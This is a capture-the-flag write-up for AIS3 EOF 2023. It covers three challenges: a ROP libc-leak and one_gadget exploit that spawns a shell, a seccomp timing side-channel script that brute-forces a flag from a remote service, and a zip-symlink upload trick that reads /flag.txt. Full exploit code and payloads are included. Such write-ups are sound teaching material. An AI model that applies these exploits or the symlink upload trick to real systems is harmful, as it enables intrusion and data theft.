AIS3 EOF 2023 初賽
PWN
real_rop
Description
-
Challenge URL
-
Folder structure:
1
2
3
4
5
6
7
8
9
10Share ├── share │ ├── chal │ ├── flag │ ├── Makefile │ ├── real_rop++.c │ └── run.sh ├── docker-compose.yaml ├── Dockerfile └── xinetd
Original Code
#include <unistd.h>
int main()
{
char buf[0x10];
read(0, buf, 0x30);
write(1, buf, 0x30);
return 0;
}
gcc -fno-stack-protector -o chal real_rop++.c
- Obviously buffer overflow but not much
- Preliminary idea is
one_gadget
- Check protector
$ checksec chal [*] '/home/sbk6401/CTF/AIS3/PWN/real_rop/share/chal' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
-
PIE
is enabled → use write function to leaklibc
address -
Full RELRO
→ cannot useGOT hijacking
- Refer to 大神write up, we cannot leak
libc
address and get shell at one time. So, we can control$rip
and return to the beginning ofmain
function and go through the process again. That is, we have another `read` function to fill inone_gadget
. - Note that, the version of Ubuntu and Glibc is VERY VERY important, according to
Dockerfile
, it seems use Ubuntu 20.04 with defaultFROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m chal RUN chown -R root:root /home/chal RUN chmod -R 755 /home/chal CMD ["/usr/sbin/xinetd", "-dontfork"]
Analyze where to return
-
**`For Ubuntu 22.04 & GLIBC 2.35` - back to `__libc_start_main+121`**
$ gdb chal pwndbg> starti pwndbg> vmmap
pwndbg> b _start Breakpoint 15 at 0x555555555080 (2 locations) pwndbg> c
pwndbg> pwndbg> b __libc_start_main Breakpoint 16 at 0x7ffff7db8dc0: file ../csu/libc-start.c, line 242. pwndbg> c pwndbg> ni # until <__libc_start_main+123>
pwndbg> s pwndbg> ni # until <__libc_start_main+123>
pwndbg> s
pwndbg> ni # until <main+62>
### Overall, the sequence is:
_start → 0x0000555555555080 __libc_start_main+123 → 0x00007ffff7db8e3b __libc_start_call_main+126 → 0x00007ffff7db8d8e
_start ... _start+31 ↓ __libc_start_main ... __libc_start_main+123 ↓ __libc_start_call_main ... __libc_start_call_main+126 ↓ main ... __libc_start_call_main+128 __libc_start_call_main+130 ↓ exit
-
**`For Ubuntu 20.04 & GLIBC 2.31` - back to `__libc_start_main+236`**
Whole processes are almost the same as above, just the sequence is different
### Overall, the sequence is:
_start ... _start+40 ↓ __libc_start_main ... __libc_start_main+241 ↓ main ... __libc_start_main+243 __libc_start_main+245 ↓ exit
Exploit - leak libc
address + one_gadget
Use Ubuntu 20.04 that the same as remote server
- Try to control
$rip
and return to beginning We can observe stack at the end ofmain
function. It’ll always return to__libc_start_main+243
. Therefore, we can padding garbage bytes and overlap the last byte of$rip
.payload = p64(0) * 3 + int.to_bytes(124, 1, 'little')
According to the derivation of last section, we should return to
__libc_start_main+236
(the address is0x7ffff7df007c
for temp) and the address of__libc_start_main+243
is0x7ffff7df0083
(temp), so that we just modify the last bytes → $0x73=124$ - Try to leak
libc
offset -write
function +gdb
We can observe stack situation before sending payload. The first 3*8 bytes are garbage bytes that we filled at first round.r.recv(0x18) libc_addr = u64(r.recv(6) + b'\x00\x00') - 0x24083 + 0x7
Skip garbage bytes first then receive 6 bytes. Note that
- 0x24083 + 0x7
is try and error so that it can be0x7f07a24fb00
(temp) checked byvmmap
. - Construct
one_gadget
Usevmmap
to check whichlibc
version be used - `/lib/x86_64-linux-gnu/libc-2.31.so`$ one_gadget /lib/x86_64-linux-gnu/libc-2.31.so ... 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL ... $ ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.31.so --only "pop|ret" --multibr > one_gadget $ vim one_gadget
Note thatpop_r15_ret = libc_addr + 0x2a3e4 pop_r12_ret = libc_addr + 0x2f709 r.send(p64(0) * 3 + p64(pop_r12_ret) + p64(0) + p64(libc_addr+0xe3afe))
$r15
has NULL already beforeread
function, so it’s no need to sendpop_r15_ret
. - Then we got shell!!!
Reference
gdb指令 Linux中誰來呼叫C語言中的main? Docker exec 命令
how2know_revenge
Description
- Challenge:
nc edu-ctf.zoolab.org 10012
- Environment Version: Ubuntu 20.04
- Folder structure:
1
2
3
4
5
6
7
8
9
10Share ├── share │ ├── chal │ ├── flag │ ├── Makefile │ ├── how2know_revenge.c │ └── run.sh ├── docker-compose.yaml ├── Dockerfile └── xinetd
Original Code
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <seccomp.h>
#include <sys/mman.h>
#include <stdlib.h>
static char flag[0x30];
int main()
{
char addr[0x10];
int fd;
scmp_filter_ctx ctx;
fd = open("/home/chal/flag", O_RDONLY);
if (fd == -1)
perror("open"), exit(1);
read(fd, flag, 0x30);
close(fd);
write(1, "talk is cheap, show me the rop\n", 31);
read(0, addr, 0x1000);
ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_load(ctx);
seccomp_release(ctx);
return 0;
}
$ gcc -static -fno-stack-protector -o chal how2know_revenge.c -lseccomp
$ checksec chal
[*] '/home/sbk6401/CTF/AIS3/PWN/how2know_revenge/share/chal'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Description & Preliminary Idea
The whole process flow is almost the same as how2know. The difference is global variable turned into local variable and it has buffer overflow obviously. So, we can find various ROP
and access into it and brute force to compare the single char of the flag.
Exploit - ROP
+ how2know
- Find
flag
address → `0x4de2e0`1
2$ objdump -d -M Intel chal | grep "<flag>" 401cfe: 48 8d 35 db c5 0d 00 lea 0xdc5db(%rip),%rsi # 4de2e0 <flag>
- Create
ROP
chain$ ROPgadget --binary chal --multibr > rop_gadget $ vim rop_gadget
pop_r14_ret = 0x402797 mov_eax_dword_ptr_rax_ret = 0x4022ee cmp_al_r14b_ret = 0x438c15 jne_0x426148_ret = 0x426159 pop_rbx_ret = 0x401fa2 jmp_rbx = 0x4176fd infinite_loop = p64(pop_rbx_ret) + p64(jmp_rbx) + p64(jmp_rbx) ROP = flat( pop_rax_ret, flag_addr+idx, mov_eax_dword_ptr_rax_ret, pop_r14_ret, guess, cmp_al_r14b_ret, jne_0x426148_ret, ) ROP += infinite_loop
- Move the flag address to
$rax
, and move the flag string to$eax
next - Then put our guess single char to
$r14
- Compare
$al
and$r14b
- If correct, go into infinity loop, otherwise, jump to
0x426148
- Move the flag address to
-
How to know the single char in pwntool side?
When the comparison is correct, it’ll access into infinity loop and
recv
function will receive something then break while loop and close the connection, otherwise, it’ll jump to0x426148
and trigger timeout exception.r.sendafter(b'rop\n',b'a'*0x28 + ROP) try : # If compare not correct, guess++ and access to infinity loop r.recv(timeout=0.5) break except: # If compare correct, pwntool will break out guess += 1 r.close()
- Repeat
flag = '' idx = 0 while idx < 48: guess = 0x20 while guess < 0x80 : r = remote('edu-ctf.zoolab.org', 10012) {create ROP} r.sendafter(b'rop\n',b'a'*0x28 + ROP) try : ... except: ... r.close() idx += 1 flag += chr(guess)
- Whole exploit ```python!= from pwn import *
context.arch = ‘amd64’
flag_addr = 0x4de2e0 pop_r14_ret = 0x402797 mov_eax_dword_ptr_rax_ret = 0x4022ee cmp_al_r14b_ret = 0x438c15 jne_0x426148_ret = 0x426159
pop_rbx_ret = 0x401fa2 jmp_rbx = 0x4176fd infinite_loop = p64(pop_rbx_ret) + p64(jmp_rbx) + p64(jmp_rbx)
flag = ‘’ idx = 0 while idx < 53: guess = 0x20 while guess < 0x80 : # r = process(‘./chal’) r = remote(‘edu-ctf.zoolab.org’, 10012) ROP = flat( pop_rax_ret, flag_addr+idx, mov_eax_dword_ptr_rax_ret, pop_r14_ret, guess, cmp_al_r14b_ret, jne_0x426148_ret, ) ROP += infinite_loop
1
2
3
4
5
6
7
8
9
10
11
12
13r.sendafter(b'rop\n',b'a'*0x28 + ROP) try : # If compare not correct, guess++ and access to infinity loop r.recv(timeout=0.5) break except: # If compare correct, pwntool will break out guess += 1 r.close() idx += 1 flag += chr(guess) print(flag) print(flag)
r.interactive()
1
* <font color="FF0000">Note that</font>: The exploit program will be affected by the internet connection and caused the result is wrong like this:
FLA!{CORORO_f8b7d5d23ad03512P6687384b7a2a/00} ‘LAG{CORORO_f8b7d5d23ad03512d6687384b7a2a500} LAG{CRORO_f8b7d5d23ad03512d6687384b7a2a500} FLAG{CO#/RO_f8b7d5d23ad03512d6687384b7a2a500} FLAG{CAMORO_f8b7d5d/3ad03512d6687384!7a2a500xX ``` Thus, you can run much more times to compare the result together so that you can patch up the flag correctly.
Reference
Web
Share
Description
-
Challenge URL
- Folder structure:
1
2
3
4
5
6
7
8
9
10
11
12Share ├── Web │ ├── src │ │ ├── static │ │ │ └── {None} │ │ ├── template │ │ │ ├── index.html │ │ │ └── login.html │ │ └── app.py │ └── Dockerfile ├── docker-compose.yaml └── flag
- This website function is let the user can upload compress folder (\*.zip) and the compress folder must contains a `index.html` file so that it can uncompress the folder then redirect to this new page.
- To solve this question, we must use **`symbolic link`**
Observation
- Main program first -
app.py
This part is aim to unzip the compress folder and redirect to new page -index.html
that the user provide... @app.route('/upload', methods=['POST']) def upload_file(): if 'user' not in session: return 'Login first' if 'file' not in request.files or not request.files['file'].filename: return 'Missing file' _sub = session['user'] file = request.files['file'] tmppath = path.join('/tmp', urandom(16).hex()) realpath = safeJoin('/app/static', _sub) if not realpath: return 'No path traversal' if not path.exists(realpath): mkdir(realpath) file.save(tmppath) returncode = run(['unzip', '-qo', tmppath, '-d', realpath]).returncode if returncode != 0: return 'Not a zip file' if not path.isfile(path.join(realpath, 'index.html')): return '"index.html" not found' return redirect(realpath[4:]+'/index.html', code=302) ...
-
docker-compose.yaml
We can see that the flag is mounted on `/flag.txt`1
2
3
4
5
6
7
8
9
10version: '3.9' services: web: build: web restart: always ports: - 8080:5000 volumes: - ./flag:/flag.txt:ro
Construct Payload
- So, our first idea is using symbolic link to create a
payload.txt
that link to/flag.txt
and compress withindex.html
then upload to the web page. - Payload
touch index.html ln -s /flag.txt payload.txt zip --symlinks -ry index.zip payload.txt index.html
Then rewrite the URL like this: https://share.ctf.zoolab.org/static/123/payload.txt
FLAG{w0W_y0U_r34L1y_kn0w_sYmL1nK!}
Reference
unzipper-ctftime unzipper-mikecat unzipper-nandynarwhals 電腦王-symbolic link Ithelp - symbolic link